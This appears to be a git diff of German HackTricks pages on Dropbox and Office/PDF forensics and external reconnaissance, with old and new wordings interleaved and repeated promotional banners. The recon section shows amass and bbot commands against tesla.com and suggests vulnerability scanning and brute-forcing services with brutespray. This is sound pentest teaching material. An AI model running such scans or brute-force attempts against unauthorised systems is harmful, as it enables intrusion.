Die Datenbank **`filecache.db`** enthält Informationen zu allen mit Dropbox synchronisierten Dateien und Ordnern. Die Tabelle `File_journal` enthält die meisten nützlichen Informationen:
Die Datenbank **`filecache.db`** enthält Informationen zu allen Dateien und Ordnern, die mit Dropbox synchronisiert sind. Die Tabelle `File_journal` enthält die nützlichsten Informationen:
* **Server\_path**: Pfad, in dem sich die Datei auf dem Server befindet (dieser Pfad wird vom `host_id` des Clients vorangestellt).
* **local\_sjid**: Version der Datei
* **local\_mtime**: Änderungsdatum
* **local\_ctime**: Erstellungsdatum
- **Server\_path**: Pfad, in dem sich die Datei auf dem Server befindet (dieser Pfad wird vom `host_id` des Clients vorangestellt).
- **local\_sjid**: Version der Datei
- **local\_mtime**: Änderungsdatum
- **local\_ctime**: Erstellungsdatum
In anderen Tabellen dieser Datenbank finden sich weitere interessante Informationen:
Andere Tabellen in dieser Datenbank enthalten weitere interessante Informationen:
* **block\_cache**: Hash aller Dateien und Ordner von Dropbox
* **block\_ref**: Verknüpft die Hash-ID der Tabelle `block_cache` mit der Datei-ID in der Tabelle `file_journal`
* **mount\_table**: Freigegebene Ordner von Dropbox
* **deleted\_fields**: Gelöschte Dateien von Dropbox
* **date\_added**
- **block\_cache**: Hash aller Dateien und Ordner von Dropbox
- **block\_ref**: Verknüpft die Hash-ID der Tabelle `block_cache` mit der Datei-ID in der Tabelle `file_journal`
- **mount\_table**: Freigegebene Ordner von Dropbox
- **deleted\_fields**: Gelöschte Dateien von Dropbox
- **date\_added**
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Erhalten Sie noch heute Zugriff:
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos Workflows zu erstellen und zu **automatisieren**, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Heute noch Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Weitere Möglichkeiten, HackTricks zu unterstützen:
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder folgen Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
- Wenn Sie Ihr **Unternehmen in HackTricks bewerben** oder **HackTricks im PDF-Format herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
- Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
- Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
- **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>

View file

@ -2,55 +2,57 @@
<details>
<summary>Lernen Sie AWS-Hacking von Grund auf mit <a href="https://training.hacktricks.xyz/courses/arte">htARTE (HackTricks AWS Red Team Expert)</a>!</summary>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die [ABONNEMENTPLÄNE](https://github.com/sponsors/carlospolop)!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie die PEASS-Familie, unsere Sammlung exklusiver NFTs
- Treten Sie der Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den HackTricks- und HackTricks Cloud-GitHub-Repositories einreichen.
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Verwenden Sie [Trickest](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Weitere Informationen finden Sie unter [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Hier ist nur eine Zusammenfassung:
Für weitere Informationen besuchen Sie [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Dies ist nur eine Zusammenfassung:
Microsoft hat viele Office-Dokumentenformate erstellt, wobei zwei Haupttypen die OLE-Formate (wie RTF, DOC, XLS, PPT) und die Office Open XML (OOXML) Formate (wie DOCX, XLSX, PPTX) sind. Diese Formate können Makros enthalten, wodurch sie zu Zielen für Phishing und Malware werden. OOXML-Dateien sind als Zip-Container strukturiert, die durch Entpacken inspiziert werden können, wodurch die Datei- und Ordnerhierarchie sowie der Inhalt der XML-Dateien sichtbar werden.
Microsoft hat viele Office-Dokumentenformate erstellt, wobei zwei Haupttypen die **OLE-Formate** (wie RTF, DOC, XLS, PPT) und die **Office Open XML (OOXML) Formate** (wie DOCX, XLSX, PPTX) sind. Diese Formate können Makros enthalten, wodurch sie Ziele für Phishing und Malware werden. OOXML-Dateien sind als Zip-Container strukturiert, was eine Inspektion durch Entpacken ermöglicht, wodurch die Datei- und Ordnerhierarchie sowie der XML-Dateiinhalt offengelegt werden.
Zur Erkundung der OOXML-Dateistrukturen werden der Befehl zum Entpacken eines Dokuments und die Ausgabestruktur angegeben. Techniken zur Versteckung von Daten in diesen Dateien wurden dokumentiert, was auf eine fortlaufende Innovation bei der Datenverdeckung in CTF-Herausforderungen hinweist.
Zur Erkundung von OOXML-Dateistrukturen werden der Befehl zum Entpacken eines Dokuments und die Ausgabestruktur angegeben. Techniken zum Verstecken von Daten in diesen Dateien wurden dokumentiert, was auf eine kontinuierliche Innovation bei der Datenverdeckung in CTF-Herausforderungen hinweist.
Für die Analyse bieten **oletools** und **OfficeDissector** umfassende Werkzeugsätze zur Untersuchung von OLE- und OOXML-Dokumenten. Diese Tools helfen bei der Identifizierung und Analyse von eingebetteten Makros, die oft als Vektoren für die Bereitstellung von Malware dienen und in der Regel zusätzliche bösartige Nutzlasten herunterladen und ausführen. Die Analyse von VBA-Makros kann ohne Microsoft Office durch Verwendung von Libre Office durchgeführt werden, das das Debuggen mit Breakpoints und Überwachungsvariablen ermöglicht.
Für die Analyse bieten **oletools** und **OfficeDissector** umfassende Toolsets zur Untersuchung von OLE- und OOXML-Dokumenten. Diese Tools helfen bei der Identifizierung und Analyse eingebetteter Makros, die oft als Vektoren für die Bereitstellung von Malware dienen, die typischerweise zusätzliche bösartige Nutzlasten herunterladen und ausführen. Die Analyse von VBA-Makros kann ohne Microsoft Office durch die Verwendung von Libre Office durchgeführt werden, was das Debuggen mit Breakpoints und Watch-Variablen ermöglicht.
Die Installation und Verwendung von **oletools** ist unkompliziert, mit bereitgestellten Befehlen zur Installation über pip und zum Extrahieren von Makros aus Dokumenten. Die automatische Ausführung von Makros wird durch Funktionen wie `AutoOpen`, `AutoExec` oder `Document_Open` ausgelöst.
Die Installation und Verwendung von **oletools** ist unkompliziert, wobei Befehle zum Installieren über pip und zum Extrahieren von Makros aus Dokumenten bereitgestellt werden. Die automatische Ausführung von Makros wird durch Funktionen wie `AutoOpen`, `AutoExec` oder `Document_Open` ausgelöst.
```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
```
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), um mühelos **Workflows zu erstellen** und zu **automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen.
</details>

View file

@ -1,51 +1,52 @@
# Analyse von PDF-Dateien
# PDF-Dateianalyse
<details>
<summary>Lernen Sie AWS-Hacking von Grund auf mit <a href="https://training.hacktricks.xyz/courses/arte">htARTE (HackTricks AWS Red Team Expert)</a>!</summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die [ABONNEMENTPLÄNE](https://github.com/sponsors/carlospolop)!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie die PEASS-Familie, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den HackTricks- und HackTricks Cloud-GitHub-Repositories einreichen.
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks in PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys einreichen.
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Verwenden Sie [Trickest](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten Community-Tools** unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**Weitere Informationen finden Sie unter: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)**
**Für weitere Details siehe:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
Das PDF-Format ist bekannt für seine Komplexität und sein Potenzial zur Verdeckung von Daten, wodurch es zum Schwerpunkt von CTF-Forensik-Herausforderungen wird. Es kombiniert Elemente im Klartext mit binären Objekten, die komprimiert oder verschlüsselt sein können und Skripte in Sprachen wie JavaScript oder Flash enthalten können. Um die Struktur von PDF-Dateien zu verstehen, kann man sich auf Didier Stevens' [Einführungsmaterial](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) beziehen oder Tools wie einen Texteditor oder einen speziellen PDF-Editor wie Origami verwenden.
Das PDF-Format ist bekannt für seine Komplexität und sein Potenzial zur Verdeckung von Daten, was es zu einem Schwerpunkt für CTF-Forensik-Herausforderungen macht. Es kombiniert Elemente aus Klartext mit binären Objekten, die komprimiert oder verschlüsselt sein können, und kann Skripte in Sprachen wie JavaScript oder Flash enthalten. Um die Struktur von PDF zu verstehen, kann man sich auf das [einführende Material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) von Didier Stevens beziehen oder Tools wie einen Texteditor oder einen spezifischen PDF-Editor wie Origami verwenden.
Für eine eingehende Untersuchung oder Manipulation von PDFs stehen Tools wie [qpdf](https://github.com/qpdf/qpdf) und [Origami](https://github.com/mobmewireless/origami-pdf) zur Verfügung. Versteckte Daten in PDFs können in folgenden Bereichen verborgen sein:
Für eine eingehende Erkundung oder Manipulation von PDFs stehen Tools wie [qpdf](https://github.com/qpdf/qpdf) und [Origami](https://github.com/mobmewireless/origami-pdf) zur Verfügung. Versteckte Daten innerhalb von PDFs können in folgenden Bereichen verborgen sein:
- Unsichtbare Ebenen
- XMP-Metadatenformat von Adobe
- Inkrementelle Generationen
- Text mit derselben Farbe wie der Hintergrund
- Text hinter Bildern oder überlappenden Bildern
- Nicht angezeigte Kommentare
* Unsichtbare Ebenen
* XMP-Metadatenformat von Adobe
* Inkrementelle Generationen
* Text mit derselben Farbe wie der Hintergrund
* Text hinter Bildern oder überlappenden Bildern
* Nicht angezeigte Kommentare
Für die benutzerdefinierte Analyse von PDFs können Python-Bibliotheken wie [PeepDF](https://github.com/jesparza/peepdf) verwendet werden, um maßgeschneiderte Parsing-Skripte zu erstellen. Darüber hinaus ist das Potenzial von PDFs zur Speicherung versteckter Daten so groß, dass Ressourcen wie der NSA-Leitfaden zu PDF-Risiken und Gegenmaßnahmen, obwohl er nicht mehr an seinem ursprünglichen Ort gehostet wird, immer noch wertvolle Einblicke bieten. Eine [Kopie des Leitfadens](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) und eine Sammlung von [PDF-Format-Tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) von Ange Albertini bieten weitere Informationen zu diesem Thema.
Für eine benutzerdefinierte PDF-Analyse können Python-Bibliotheken wie [PeepDF](https://github.com/jesparza/peepdf) verwendet werden, um maßgeschneiderte Parsing-Skripte zu erstellen. Darüber hinaus ist das Potenzial von PDFs zur Speicherung versteckter Daten so groß, dass Ressourcen wie der NSA-Leitfaden zu PDF-Risiken und Gegenmaßnahmen, obwohl nicht mehr an seinem ursprünglichen Ort gehostet, immer noch wertvolle Einblicke bieten. Eine [Kopie des Leitfadens](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) und eine Sammlung von [PDF-Format-Tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) von Ange Albertini können weitere Informationen zum Thema bieten.
<details>
<summary>Lernen Sie AWS-Hacking von Grund auf mit <a href="https://training.hacktricks.xyz/courses/arte">htARTE (HackTricks AWS Red Team Expert)</a>!</summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die [ABONNEMENTPLÄNE](https://github.com/sponsors/carlospolop)!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie die PEASS-Familie, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den HackTricks- und HackTricks Cloud-GitHub-Repositories einreichen.
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks in PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys einreichen.
</details>

File diff suppressed because it is too large Load diff

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen.
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
@ -24,7 +24,7 @@ Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hack
> Ihnen wurde gesagt, dass alles, was einem Unternehmen gehört, im Rahmen liegt, und Sie möchten herausfinden, was dieses Unternehmen tatsächlich besitzt.
Das Ziel dieser Phase ist es, alle **Unternehmen, die dem Hauptunternehmen gehören**, zu erhalten und dann alle **Vermögenswerte** dieser Unternehmen. Dazu werden wir:
Das Ziel dieser Phase ist es, alle **Unternehmen im Besitz des Hauptunternehmens** zu erhalten und dann alle **Vermögenswerte** dieser Unternehmen. Dazu werden wir:
1. Die Übernahmen des Hauptunternehmens finden, dies gibt uns die Unternehmen im Rahmen.
2. Die ASN (falls vorhanden) jedes Unternehmens finden, dies gibt uns die IP-Bereiche, die von jedem Unternehmen besessen werden.
@ -33,7 +33,7 @@ Das Ziel dieser Phase ist es, alle **Unternehmen, die dem Hauptunternehmen gehö
### **Übernahmen**
Zunächst müssen wir wissen, welche **anderen Unternehmen dem Hauptunternehmen gehören**.\
Zunächst müssen wir wissen, welche **anderen Unternehmen vom Hauptunternehmen besessen werden**.\
Eine Möglichkeit besteht darin, [https://www.crunchbase.com/](https://www.crunchbase.com) zu besuchen, nach dem **Hauptunternehmen zu suchen** und auf "**Übernahmen**" zu klicken. Dort sehen Sie andere Unternehmen, die vom Hauptunternehmen übernommen wurden.\
Eine andere Möglichkeit besteht darin, die **Wikipedia**-Seite des Hauptunternehmens zu besuchen und nach **Übernahmen** zu suchen.
@ -44,7 +44,7 @@ Eine andere Möglichkeit besteht darin, die **Wikipedia**-Seite des Hauptunterne
Eine autonome Systemnummer (**ASN**) ist eine **eindeutige Nummer**, die einem **autonomen System** (AS) von der **Internet Assigned Numbers Authority (IANA)** zugewiesen wird.\
Ein **AS** besteht aus **Blöcken** von **IP-Adressen**, die eine klar definierte Richtlinie für den Zugriff auf externe Netzwerke haben und von einer einzigen Organisation verwaltet werden, aber aus mehreren Betreibern bestehen können.
Es ist interessant zu erfahren, ob das **Unternehmen eine ASN zugewiesen hat**, um seine **IP-Bereiche zu finden**. Es wird interessant sein, einen **Vulnerabilitätstest** gegen alle **Hosts** im **Rahmen** durchzuführen und nach Domains innerhalb dieser IPs zu suchen.\
Es ist interessant zu wissen, ob das **Unternehmen eine ASN zugewiesen hat**, um seine **IP-Bereiche zu finden**. Es wird interessant sein, einen **Vulnerabilitätstest** gegen alle **Hosts** im **Rahmen** durchzuführen und nach Domains innerhalb dieser IPs zu suchen.\
Sie können nach dem Unternehmensnamen, nach der IP oder nach der Domain unter [**https://bgp.he.net/**](https://bgp.he.net)** suchen.**\
**Je nach Region des Unternehmens könnten diese Links nützlich sein, um mehr Daten zu sammeln:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Nordamerika),** [**APNIC**](https://www.apnic.net) **(Asien),** [**LACNIC**](https://www.lacnic.net) **(Lateinamerika),** [**RIPE NCC**](https://www.ripe.net) **(Europa). Wie auch immer, wahrscheinlich erscheinen bereits alle** nützlichen Informationen **(IP-Bereiche und Whois)** im ersten Link.
```bash
@ -52,7 +52,7 @@ Sie können nach dem Unternehmensnamen, nach der IP oder nach der Domain unter [
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
Auch die Subdomain-Enumeration von [**BBOT**](https://github.com/blacklanternsecurity/bbot) aggregiert und fasst automatisch ASNs am Ende des Scans zusammen.
Auch [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** Subdomain-Enumeration aggregiert automatisch und fasst ASNs am Ende des Scans zusammen.
```bash
bbot -t tesla.com -f subdomain-enum
...
@ -74,42 +74,45 @@ Du kannst die IP-Adresse und ASN einer Domain unter Verwendung von [http://ipv4i
### **Suche nach Schwachstellen**
Zu diesem Zeitpunkt kennen wir **alle Assets im Umfang**, daher könntest du, wenn erlaubt, einen **Schwachstellen-Scanner** (Nessus, OpenVAS) über alle Hosts starten.\
Außerdem könntest du einige [**Port-Scans**](../pentesting-network/#discovering-hosts-from-the-outside) durchführen **oder Dienste wie** Shodan **verwenden, um** offene Ports **zu finden, und je nachdem, was du findest, solltest du** in diesem Buch nachsehen, wie du verschiedene mögliche Dienste pentesten kannst.\
**Außerdem könnte es sich lohnen zu erwähnen, dass du auch einige** Standard-Benutzernamen **und** Passwortlisten **vorbereiten und versuchen kannst, Dienste mit [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) zu brute-forcen.
